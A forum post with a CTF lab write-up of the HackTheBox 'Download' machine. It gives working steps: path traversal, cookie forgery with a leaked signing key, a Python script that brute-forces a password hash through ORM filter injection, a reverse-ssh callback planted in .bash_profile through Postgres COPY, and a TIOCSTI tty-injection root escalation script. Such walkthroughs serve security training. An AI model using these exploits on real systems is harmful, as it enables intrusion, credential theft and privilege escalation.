HTB Download - DETAILED WRITE-UP
by Mandelio - Thursday August 17, 2023 at 02:46 PM
#1
In this write-up I explain my thought process, the queries that I came up with to search things on Google, some custom Python code that I wrote and some source code analysis. Format is Markdown.

[hide cost="5"]# Download
Name of the machine makes me think about LFI and/or upload.
# Enumeration
Let's start with a `nmap` scan.
```
# Nmap 7.94 scan initiated Sat Aug  5 21:01:49 2023 as: nmap -Pn -sC -sV -oN ./nmap_scan -p - 10.129.1.155
Nmap scan report for 10.129.1.155
Host is up (0.068s latency).
Not shown: 65533 closed tcp ports (reset)
PORT  STATE SERVICE VERSION
22/tcp open  ssh    OpenSSH 8.2p1 Ubuntu 4ubuntu0.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|  3072 cc:f1:63:46:e6:7a:0a:b8:ac:83:be:29:0f:d6:3f:09 (RSA)
|  256 2c:99:b4:b1:97:7a:8b:86:6d:37:c9:13:61:9f:bc:ff (ECDSA)
|_  256 e6:ff:77:94:12:40:7b:06:a2:97:7a:de:14:94:5b:ae (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://download.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Aug  5 21:04:11 2023 -- 1 IP address (1 host up) scanned in 142.53 seconds
```
Nothing strange so far, let's run a **directory search** and a **subdomain search**.
**There isn't anything** worth of interest in the **directory search** and **there isn't** also **any** **subdomain**.

```
╭─imagine at sadness in ⌁/Documents/htb/machines/download
╰─λ whatweb http://download.htb/
http://download.htb/ [200 OK] Bootstrap, Cookies[download_session,download_session.sig], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], HttpOnly[download_session,download_session.sig], IP[10.129.2.55], Script, Title[Download.htb - Share Files With Ease], X-Powered-By[Express], X-UA-Compatible[IE=edge], nginx[1.18.0]
```
We can see that it's a **Node.JS** webserver running **Express**.

At this point we can start to **map** the functionality of the **website**.
First of all, we notice that we have **cookie** (`download_session`) with a **signature** (which is stored in another cookie, `download_session.sig`).
This cookie is just a **JSON**, which contains the following values:
```json
base_cookie = {
"flashes": {
"info": [],
"error": [],
"success": []
},
"user": null
}
```
When we interact with the website as a **non**-logged in user, the only part that changes is the `flashes` part.

With that being said, let's take a quick of the **8 endpoints** in this website:
- `/auth/register`, makes us register, though it **doesn't** make the login automatically, it redirects us to `/auth/login`.
- `/auth/login`, makes us login, it sets us a **new cookie** by changing the content of the `user` part as follows:
```json
"user": {
"id": 13,
"username": "r1d3r"
}
```
- `/auth/logout`, makes us logout, basically it just **removes** our cookie(s).
- `/files/download/<uuid>`, makes us download our **own** file (whether it may be **private** or not) or makes us download a **public file**. It's also possible to download files even if we **aren't logged in**.
- `/files/view/<uuid>`, makes us view the details of our **own** file (whether it may be **private** or not) or makes us view a **public file**. It's also possible to view files even if we **aren't logged in**.
- `/files/upload`, makes us upload a file, we can choose if make it **private** or not. It's also possible to upload files even if we **aren't logged in**.
- `/files/delete/{uuid}`, makes us delete a file, **can't** download a file if we **weren't logged in** or if that file **doesn't belong** to us.
- `/home`, makes us view **all** of our uploaded files.

Now let's try to do something interesting with them.
We'll start with the most spicy one, the **download** one (since it's also the name of the machine), we could assume that with that `uuid` it probably performs a **query** in the `database` (it could also be a primary key), but from my experience I've learned to **NEVER ASSUME THINGS**, thus we will try to test if we have some sort of LFI (Local File Inclusion).
I noticed that if we put `/files/downloads/../../` we would simply get an `Error 404` but, if I put  **3**x`../` then I'd get `Error 400`.
There is **definitely** something going on. I also tested if something changed by URL-encoding the `/` (`%2F`) but the behavior was the **same**.

Now, we could have pretty much an **LFI vulnerability**, so I'll try with the **most common file** in a Node.JS app, `package.json`.
Interesting with `../` we **don't** get an hit but with `..%2F` (the URL-encoded version) we **do**!
```json
╭─imagine at sadness in ⌁/Documents/htb/machines/download
╰─λ curl http://download.htb/files/download/..%2fpackage.json --path-as-is
{
  "name": "download.htb",
  "version": "1.0.0",
  "description": "",
  "main": "app.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "dev": "nodemon --exec ts-node --files ./src/app.ts",
    "build": "tsc"
  },
  "keywords": [],
  "author": "wesley",
  "license": "ISC",
  "dependencies": {
    "@prisma/client": "^4.13.0",
    "cookie-parser": "^1.4.6",
    "cookie-session": "^2.0.0",
    "express": "^4.18.2",
    "express-fileupload": "^1.4.0",
    "zod": "^3.21.4"
  },
  "devDependencies": {
    "@types/cookie-parser": "^1.4.3",
    "@types/cookie-session": "^2.0.44",
    "@types/express": "^4.17.17",
    "@types/express-fileupload": "^1.4.1",
    "@types/node": "^18.15.12",
    "@types/nunjucks": "^3.2.2",
    "nodemon": "^2.0.22",
    "nunjucks": "^3.2.4",
    "prisma": "^4.13.0",
    "ts-node": "^10.9.1",
    "typescript": "^5.0.4"
  }
}
```
We **can't download** `..%fsrc%app.ts`, but we **can** **download** `app.js`. Let's see if there is something **interesting** in there!
```js
╭─imagine at sadness in ⌁/Documents/htb/machines/download
╰─λ curl http://download.htb/files/download/..%2fapp.js --path-as-is
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
    return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
const express_1 = __importDefault(require("express"));
const nunjucks_1 = __importDefault(require("nunjucks"));
const path_1 = __importDefault(require("path"));
const cookie_parser_1 = __importDefault(require("cookie-parser"));
const cookie_session_1 = __importDefault(require("cookie-session"));
const flash_1 = __importDefault(require("./middleware/flash"));
const auth_1 = __importDefault(require("./routers/auth"));
const files_1 = __importDefault(require("./routers/files"));
const home_1 = __importDefault(require("./routers/home"));
const client_1 = require("@prisma/client");
const app = (0, express_1.default)();
const port = 3000;
const client = new client_1.PrismaClient();
const env = nunjucks_1.default.configure(path_1.default.join(__dirname, "views"), {
    autoescape: true,
    express: app,
    noCache: true,
});
app.use((0, cookie_session_1.default)({
    name: "download_session",
    keys: ["8929874489719802418902487651347865819634518936754"],
    maxAge: 7 * 24 * 60 * 60 * 1000,
}));
app.use(flash_1.default);
app.use(express_1.default.urlencoded({ extended: false }));
app.use((0, cookie_parser_1.default)());
app.use("/static", express_1.default.static(path_1.default.join(__dirname, "static")));
app.get("/", (req, res) => {
    res.render("index.njk");
});
app.use("/files", files_1.default);
app.use("/auth", auth_1.default);
app.use("/home", home_1.default);
app.use("*", (req, res) => {
    res.render("error.njk", { statusCode: 404 });
});
app.listen(port, process.env.NODE_ENV === "production" ? "127.0.0.1" : "0.0.0.0", () => {
    console.log("Listening on ", port);
    if (process.env.NODE_ENV === "production") {
        setTimeout(async () => {
            await client.$executeRawUnsafe(`COPY (SELECT "User".username, sum("File".size) FROM "User" INNER JOIN "File" ON "File"."authorId" = "User"."id" GROUP BY "User".username) TO '/var/backups/fileusages.csv' WITH (FORMAT csv);`);
        }, 300000);
    }
});
```
We **successfully** got the **key** used to **sign** the cookie, which is `8929874489719802418902487651347865819634518936754`.
At this point I started searching for a way to **forge** our custom cookie, I searched for `express cookie signing github` (`github` because I was hoping to **find** some **tool**), the **third-last** result of the first page of my query had this tool called [cookie-monster](https://github.com/DigitalInterruption/cookie-monster) which seemed to do **exactly** what we want , that is "**Encode and sign** a new cookie".

Now I'll try **experimenting with the cookie** before moving on to more **file exfiltration**.
First of all, I'll try **removing** my username and see if I **can still access** my posts and... I **can**!
This is the command that I used to **forge** my **own cookie**:
```
╭─imagine at sadness in ⌁/Documents/htb/machines/download
╰─λ cat new_cookie.json
{
    "flashes": {
        "info": [],
        "error": [],
        "success": []
    },
    "user": {
        "id": 16
    }
}
╭─imagine at sadness in ⌁/Documents/htb/machines/download
╰─λ cookie_monster -e -f new_cookie.json -k 8929874489719802418902487651347865819634518936754 -n download_session
              _  _
            _/0\/ \_
    .-.  .-` \_/\0/ '-.
  /:::\ / ,_________,  \
  /\:::/ \  '. (:::/  `'-;
  \ `-'`\ '._ `"'"'\__    \
  `'-.  \  `)-=-=(  `,  |
      \  `-"`      `"-`  /

[+] Data Cookie: download_session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfSwidXNlciI6eyJpZCI6MTZ9fQ==
[+] Signature Cookie: download_session.sig=fFeEEvfXrIm94p1ozVs_9TafsBs
```
**NOTE**: The cookie's **name** is very important! Changing it also changes the signature!

At this point I *obviously* changed the `id` to 1 since it could probably be an `admin` or some important user.
Upon doing so, we can only see 2 (useless) **PDF files** and an **username**, `WESLEY`. I inspected the PDFs with `exiftool` but didn't find any useful data.
At this point I kept looking for more **source code** files, I ended up downloading the following:
- `middleware/flash.js`, got from `const flash_1 = __importDefault(require("./middleware/flash"));` inside `app.js`.
- `routers/auth.js`, got from `const auth_1 = __importDefault(require("./routers/auth"));` inside `app.js`.
- `routers/files.js`, got from `const files_1 = __importDefault(require("./routers/files"));` inside `app.js`.
- `routers/home.js`,  got from `const home_1 = __importDefault(require("./routers/home"));` inside `app.js`.
- `node_modules/.prisma/client/schema.prisma`, to find the path to this file I had to do quite some researches... I started with `prisma client` because of `const client_1 = require("@prisma/client");` inside `app.js`, I found [this page](https://www.prisma.io/docs/concepts/comp...sma-client) that said `In order to set up Prisma Client, you need a Prisma schema file [...]` with a redirect on `Prisma schema file`. I clicked on the redirect and got to [this page](https://www.prisma.io/docs/concepts/comp...sma-schema), at the beginning of the page it **mentioned** a file called `schema.prisma` but **didn't mention** any path so I scrolled down in the hope of finding something. I found that there could be two directories: `./prisma/schema.prisma` or just `./schema.prisma`, however I **tried** these paths like: `node_modules/prisma/prisma/schema.prisma` and `node_modules/prisma/schema.prisma` but **couldn't hit anything**... at this point I thought that there could be some **more paths** so I kept looking but didn't find anything. I **backtracked** and noticed that the schema was **needed for the client**, so it **must've been** in a **subpath** of the **client directory**, which is `node_modules/.prisma/client` (as per Prisma docs: `This command also runs the prisma generate command, which generates Prisma Client into the node_modules/.prisma/client directory`), now the paths could be either `node_modules/.prisma/client/schema.prisma` or `node_modules/.prisma/client/prisma/schema.prisma`. I successfully **retrieved** this file with the first one. I was hoping to find the **database URL** in order to get some **credentials** but, unfortunately, it was set as an **environment variable**.
- `middleware/auth.js`, got from `const auth_1 = __importDefault(require("../middleware/auth"));` in `routers/files.js`.
- `node_modules/cookie-parser/package.json`, got from `const cookie_parser_1 = __importDefault(require("cookie-parser"));` in `app.js`.
- `node_modules/cookie-parser/index.js`, got from the `files` entry it the `node_modules/cookie-parser/package.json` file.
- `node_modules/cookie-session/package.json`, got from `const cookie_session_1 = __importDefault(require("cookie-session"));` in `app.js`.
- `node_modules/cookie-session/index.js`, got from the `files` entry it the `node_modules/cookie-session/package.json` file.
- `package.json`, this file is just in **every** Node.JS application, as mentioned earlier.

# Foothold
Now that I got all these files, I started looking where `req.session` was **used**. Why? Because `req.session` **holds our cookies values** which we can **forge** however we like.

There were **only** 2 places where this *variable* was used.
First being `routers/files.js`
```js
const fileEntry = await client.file.create({
data: {
name: file.name,
size: file.size,
authorId: req.session?.user?.id,
private: req.session?.user ? result.data.private : false,
},
select: {
id: true,
},
});
```
but here it doesn't use the object **directly**, rather it **gets a particular field** or just uses it in a **shorthand if-else operator** to output some **other value**.

And second being `routers/home.js`
```js
const files = await client.file.findMany({
where: { author: req.session.user },
select: {
id: true,
uploadedAt: true,
size: true,
name: true,
private: true,
authorId: true,
author: {
select: {
username: true,
},
},
},
});
```
Do you see where I am going? It uses the object **directly**! This mean that we can do **whatever query** we want with the `author` field.
But **let's stop a moment** and see what the database is **actually doing**.

First it goes with `client.file`, which is a **table** defined as follows in the `scheme.prisma` file
```
model File {
  id        String  @id @default(uuid())
  name      String
  size      Int
  private    Boolean  @default(false)
  uploadedAt DateTime @default(now())
  author    User?    @relation(fields: [authorId], references: [id])
  authorId  Int?
}
```
Here we can see that `author` is just a **reference** (or, as said in the schema, ***relation***) to the `User` table, which is a **table** defined as follows in the `scheme.prisma` file
```
model User {
  id      Int    @id @default(autoincrement())
  username String @Unique
  password String
  files    File[]
}
```
Based on this, we could do something similar to [**extracting data information** in PHP](https://book.hacktricks.xyz/pentesting-w...nformation), we just have to **understand** what are the **Prisma ORM functions**.
I started searching for something that was **similar** as in the page previously mentioned with the query `prisma regex filter` but, instead, I found out this neat [**docs page** about Filtering and Sorting](https://www.prisma.io/docs/concepts/comp...nd-sorting).

With this knowledge, we can start **crafting** our payload to **leak the password**.
But wait... **how** is the **password stored**?
We can check in `routers/auth.js` how this **happens**.
```js
await client.user.create({
data: {
username: data.username,
password: hashPassword(data.password),
},
});

const user = await client.user.findFirst({
where: { username: data.username, password: hashPassword(data.password) },
});

const hashPassword = (password) => {
    return node_crypto_1.default.createHash("md5").update(password).digest("hex");
};
```
From this we can deduce that passwords are stored using **MD5 hash**. Hopefully we may be able to **crack** it.

This also means that our alphabet will only be `abcdef0123456789` (since they're stored as an **hex digest**) and the password will be long **32 chars**. That's because MD5 hashes produce 16 bytes, and a byte is **represented** by **2** hexadecimal chars.
# User
We pretty much know what we have to do: **exfiltrate** that **password** and try to **login** as `wesley` **via SSH**.
I wrote a Python script to **automate** the process of exfiltration:
```python
import subprocess
import grequests
import json
import tempfile
import string

COOKIE_MONSTER_EXEC = "cookie_monster"
COOKIE_SIGNING_KEY  = "8929874489719802418902487651347865819634518936754"

HOME_ENDPOINT = "http://download.htb/home"

def _generate_cookie(cookie: dict) -> dict:
tmp_dir = tempfile.mkdtemp()
file_path = f"{tmp_dir}/new_cookie.json"

cookie_file = open(file_path, "w+")
cookie_file.write(json.dumps(cookie))
cookie_file.close()

cmd = f"{COOKIE_MONSTER_EXEC} -e -f {file_path} -k {COOKIE_SIGNING_KEY} -n download_session"
output = subprocess.run(cmd.split(), capture_output=True).stdout.decode().strip()

shutil.rmtree(tmp_dir)

output = output.split("\n")

cookies = {
"download_session": output[-2].split("download_session=")[1][:-5],
"download_session.sig": output[-1].split("download_session.sig=")[1][:-5]
}
return cookies

def exfiltrate_simil_nosql() -> str:
hash = ""
for _ in range(32):
greqs = []
for char in string.hexdigits[:-6]:
bruteforce_cookies = _generate_cookie({
"flashes": {
"info": [],
"error": [],
"success": []
},
"user": {
"id": 1,
"password": { "startsWith": hash + char }
}
})
greq = grequests.get(HOME_ENDPOINT, cookies=bruteforce_cookies)
greqs.append(greq)

responses = grequests.map(greqs)
for i, response in enumerate(responses):
logger.debug(f"{i}: {len(response.content)}")
if "No files found" not in response.text:
hash += string.hexdigits[i]
print(f"Found new char: {hash[-1]} ({hash.ljust(32, '#')})")
break

return hash

if __name__ == "__main__":
print(exfiltrate_simil_nosql())
```
So what are we doing here?
Each time we're **forging a new cookie** that has the `id` field value set to `1`, then we're applying a filter that only gets the user with ID `1` and `password` that starts with `known_hash + curr_rolling_alphabet_char`. If you wonder where I found the existence of the filter `startsWith`, I found it in the very same [page that mentioned the **Filtering** and Sorting](https://www.prisma.io/docs/concepts/comp...nd-sorting).

When we get an **hit** (hence, the password **starts** with the characters that we put in the cookie), we will see in the response **content** that there will be some **files** listed otherwise, when the password **doesn't** start with the characters that we put in the cookie, we will just get `No files found` in the response (and, consequently, no files listed); that's because it **can't find any** user to retrieve the files from as per `/routers/home.js` code:
```js
router.get("/", auth_1.default, async (req, res) => {
    const files = await client.file.findMany({
        where: { author: req.session.user },
        select: {
            id: true,
            uploadedAt: true,
            size: true,
            name: true,
            private: true,
            authorId: true,
            author: {
                select: {
                    username: true,
                },
            },
        },
    });
    res.render("home.njk", { files });
});
```
Simply, the `where` clause will filter **out** every possible user, thus giving use `No files found`.
We can use this as a sort of *Error-based* SQLi.

After running this for **32** times (which, remember, is the length of an MD5 hash in hex digest), we **successfully** retrieve the hash (`f88976c10af66915918945b9679b2bd3`), I used [CrackStation](https://crackstation.net/) and successfully a match with `dunkindonuts`.

If we can to login via SSH using as username `wesley` and as password `dunkindonuts` we successfully can Smile

# Root
Now we're logged in as `wesley`, but remember what we saw earlier in `schema.prisma`? There was a `DATABASE_URL` environmental variable to connect to database.
Now, there can only be **two main ways** to add an environmental variable: having a `.env` file or something like that putting it in a script.

I looked in the `/var/www/app` for some `.env` or similar files, unfortunately I **couldn't find any**... so it has to be a script that starts it somewhere, if we **also can't** find this it means that we **aren't supposed** to **know** the **database credentials**.
There was **nothing** in `wesley`'s home, **nothing** in `/opt` and **nothing** `/dev/shm`, the only thing that remained were either a `cronjob`/`crontab` or a `systemd` **service**. I started looking for the `systemd` **service** as it seemed more *natural* and, guess what...  there **was** a `systemd` **service** with the `DATABASE_URL` **environmental variable**.
```wesley@download:/etc/systemd/system$ ls -la
[...]
lrwxrwxrwx  1 root root  45 Apr 23  2020 dbus-org.freedesktop.timesync1.service -> /lib/systemd/system/systemd-timesyncd.service
drwxr-xr-x  2 root root 4096 Jul 19 15:35 default.target.wants
-rw-r--r--  1 root root  357 Apr 21 15:36 download-site.service
drwxr-xr-x  2 root root 4096 Jul 19 15:35 emergency.target.wants
drwxr-xr-x  2 root root 4096 Jul 19 15:35 getty.target.wants
[...]
wesley@download:/etc/systemd/system$ cat download-site.service
[Unit]
Description=Download.HTB Web Application
After=network.target

[Service]
Type=simple
User=www-data
WorkingDirectory=/var/www/app/
ExecStart=/usr/bin/node app.js
Restart=on-failure
Environment=NODE_ENV=production
Environment=DATABASE_URL="postgresql://download:CoconutPineappleWatermelon@localhost:5432/download"

[Install]
WantedBy=multi-user.target
```
To **connect** to the database we can use following command:
```
wesley@download:~$ psql -d download -U download -h "localhost" -p "5432"
Password for user download: CoconutPineappleWatermelon
psql (12.15 (Ubuntu 12.15-0ubuntu0.20.04.1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.

download=>
```

First thing that comes to my mind is to **check** the **user privileges**, maybe we can **execute** some **shell commands**.
In order to know how to look at it, I went to the [Postgres HackTricks' page](https://book.hacktricks.xyz/network-serv...postgresql) and found out that we can do it with the `\du` command.
```
download=> \du
                                          List of roles
Role name |                        Attributes                        |        Member of
-----------+------------------------------------------------------------+-------------------------
download  |                                                            | {pg_write_server_files}
postgres  | Superuser, Create role, Create DB, Replication, Bypass RLS | {}
```
We can **write** files... the *home* of the `postgres` user is `/var/lib/postgresql` so I thought about creating `.ssh/authorized_keys`.
Unfortunately it **didn't work**...
```
download=> COPY (SELECT 'please work') TO '/var/lib/postgresql/.ssh/authorized_keys';
ERROR:  could not open file "/var/lib/postgresql/.ssh/authorized_keys" for writing: No such file or directory
```
Wonder how I found out about the `COPY` instruction? It's written in the [Postgres HackTricks' page](https://book.hacktricks.xyz/network-serv...postgresql)! Although I applied some **modifications** because it seemed *over-engineered* to me. (I **tested** and the one that I put above works **perfectly** when outputting something `/tmp/1234`, **for example**)

At this point I downloaded `linpeas.sh` and read and read, hoping for something interesting... (that, unluckily, never came).
Last resource was `pspy64`. I ran it and saw something quite odd
```
2023/08/07 07:54:41 CMD: UID=113  PID=48385  | su -l postgres
2023/08/07 07:54:41 CMD: UID=113  PID=48386  | groups
2023/08/07 07:54:41 CMD: UID=113  PID=48387  | /usr/bin/locale-check C.UTF-8
2023/08/07 07:54:41 CMD: UID=113  PID=48389  | -bash
2023/08/07 07:54:41 CMD: UID=113  PID=48388  | locale
2023/08/07 07:54:46 CMD: UID=113  PID=48390  | /usr/bin/perl /usr/bin/psql
2023/08/07 07:54:46 CMD: UID=113  PID=48391  | /bin/bash /usr/bin/ldd /usr/lib/postgresql/12/bin/psql
2023/08/07 07:54:46 CMD: UID=113  PID=48392  | /bin/bash /usr/bin/ldd /usr/lib/postgresql/12/bin/psql
2023/08/07 07:54:46 CMD: UID=113  PID=48393  |
2023/08/07 07:54:46 CMD: UID=113  PID=48394  | /bin/bash /usr/bin/ldd /usr/lib/postgresql/12/bin/psql
2023/08/07 07:54:46 CMD: UID=113  PID=48395  | /bin/bash /usr/bin/ldd /usr/lib/postgresql/12/bin/psql
2023/08/07 07:54:46 CMD: UID=113  PID=48396  | /bin/bash /usr/bin/ldd /usr/lib/postgresql/12/bin/psql
2023/08/07 07:54:46 CMD: UID=113  PID=48397  | /lib64/ld-linux-x86-64.so.2 /usr/lib/postgresql/12/bin/psql
2023/08/07 07:54:46 CMD: UID=113  PID=48398  | postgres: 12/main: postgres postgres [local] idle
```
When an user **logins** some files get **executed**, for example `~/.bash_profile` and `~/.bashrc`, basically we could get a shell as user `postgres` using a tool like [reverse-ssh](https://github.com/Fahrj/reverse-ssh) because we could just insert the command to connect to us in the `~/.bash_profile` file, like so:
```
COPY (SELECT CAST('/tmp/.r1d3r/reverse-sshx64 -p 7777 10.10.14.21 &' AS text)) TO '/var/lib/postgresql/.bash_profile';
```
I got the shell and there wasn't **anything** interesting as user `postgres`, so... let's analyze more things.

Why, as `root`, use `su` with a **weird parameter** to execute something as another user... couldn't have you just created a `cronjob`/`crontab` or a `systemd` service or whatever? I started searching for `su -l priv esc linux` but couldn't find anything... so I tried with the Google Dorks, I wrapped `su -l` between quotes, like this `"su -l" priv esc linux`, hoping that there was this **exact** command listen somewhere.

The first links were just about some TryHackMe machine, but there was a [Security StackExchange Question](https://security.stackexchange.com/quest...escalation), things were start to interesting...
After understanding the answer content and seeing the code, I understood that we had to do the following:
1. **Kill** the **parent** process using a `SIGSTOP` signal.
We do this to not get other things onto the `TTY` we are trying to write into.
2. **Create** a string that does some commands, then ends with a newline (`\n`)
3. **For each** character in the list, send it using `ioctl` `TIOCSTI`.
`TIOCSTI` stands for `Terminal I/O control, simulate terminal input`, this is how we can define it:
```python
# Faking input
#    TIOCSTI  const char *argp
#            Insert the given byte in the input queue.
```
Note that it says `the given byte` and **not** the given **string**. That's why we have to do it for each character.

Here's a Python script that does what we just talked about
```python
#!/usr/bin/env python3
import os
import signal
import fcntl
import termios

"""
if (sendSignalFlag) kill(getppid(), SIGSTOP);

pushbackLength = strlen(pushbackString) + 1;
for(pushbackPos = 0; pushbackPos < pushbackLength; pushbackPos++) {
result=ioctl(0, TIOCSTI,
    (pushbackPos + 1 != pushbackLength) ? (pushbackString + pushbackPos) : ("\n"));
}
"""

#: kill the parent process so it doesn't put something in the tty input queue
#: and we can run whatever we want as the user that ran `su`
os.kill(os.getppid(), signal.SIGSTOP)

#: push every character to the input queue
# Faking input
#    TIOCSTI  const char *argp
#            Insert the given byte in the input queue.
cmd = "cp /bin/bash /tmp/.r1d3r/;chmod u+s /tmp/.r1d3r/bash;\n"
for char in cmd:
    fcntl.ioctl(0, termios.TIOCSTI, char)
```
Now we just have to make it **execute** the script via `~/.bash_profile` or similar files.
Here's what I did:
```
COPY (SELECT '/tmp/.r1d3r/tty_inject.py') TO '/var/lib/postgresql/.bash_profile';
```

At this point what you can do is **hope** that it **works**.
You can check if the file has been create by running an `ls -la` on the `/var/lib/postgresql`, then to be **extra-sure** also `cat` the content of that file

If it's there you can only **pray** that a `bash` with SUID owned by root spawns in the directory you wanted it to (please don't just add the SUID to `/bin/bash`, you'll just ruin the experience for other players).
After that, it's quite straight-forward; you get that **juicy** `bash`, run `./bash -p` and `cat /root/root.txt`. GGs![/hide]
Reply
#2
(Aug 20, 2023, 01:53 PM)Pwner Wrote: how did u find this python file

All Python source code in the writeup is written by me Smile
Reply
#3
good good good
Reply
#4
Thanks nice
Reply
#5
Thanks Nice Nice Nice
Reply
#6
thx you for the post
Reply
#7
nice job well done
Reply
#8
Thanks for Sharing, muck appreciated
Reply
#9
thank u very much
Reply
#10
thanks for this kind of help man
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot htb-bot 85 7,641 4 hours ago
Last Post: Fr1Rtx23
Heart [FREE] HackTheBox All Cheatsheets Tamarisk 1 195 4 hours ago
Last Post: Fr1Rtx23
  rev_dudidudida cavour13 1 227 9 hours ago
Last Post: 0xcreep
  [FREE] HTB HackTheBox CPTS CBBH CDSA CWEE exam preparation guide and hints Tamarisk 5 1,843 Yesterday, 08:42 PM
Last Post: Tamarisk
  [FREE] CPTS 12 FLAGS pulsebreaker 65 1,628 Yesterday, 07:58 PM
Last Post: SuperCoolDude123

Forum Jump:


 Users browsing this forum: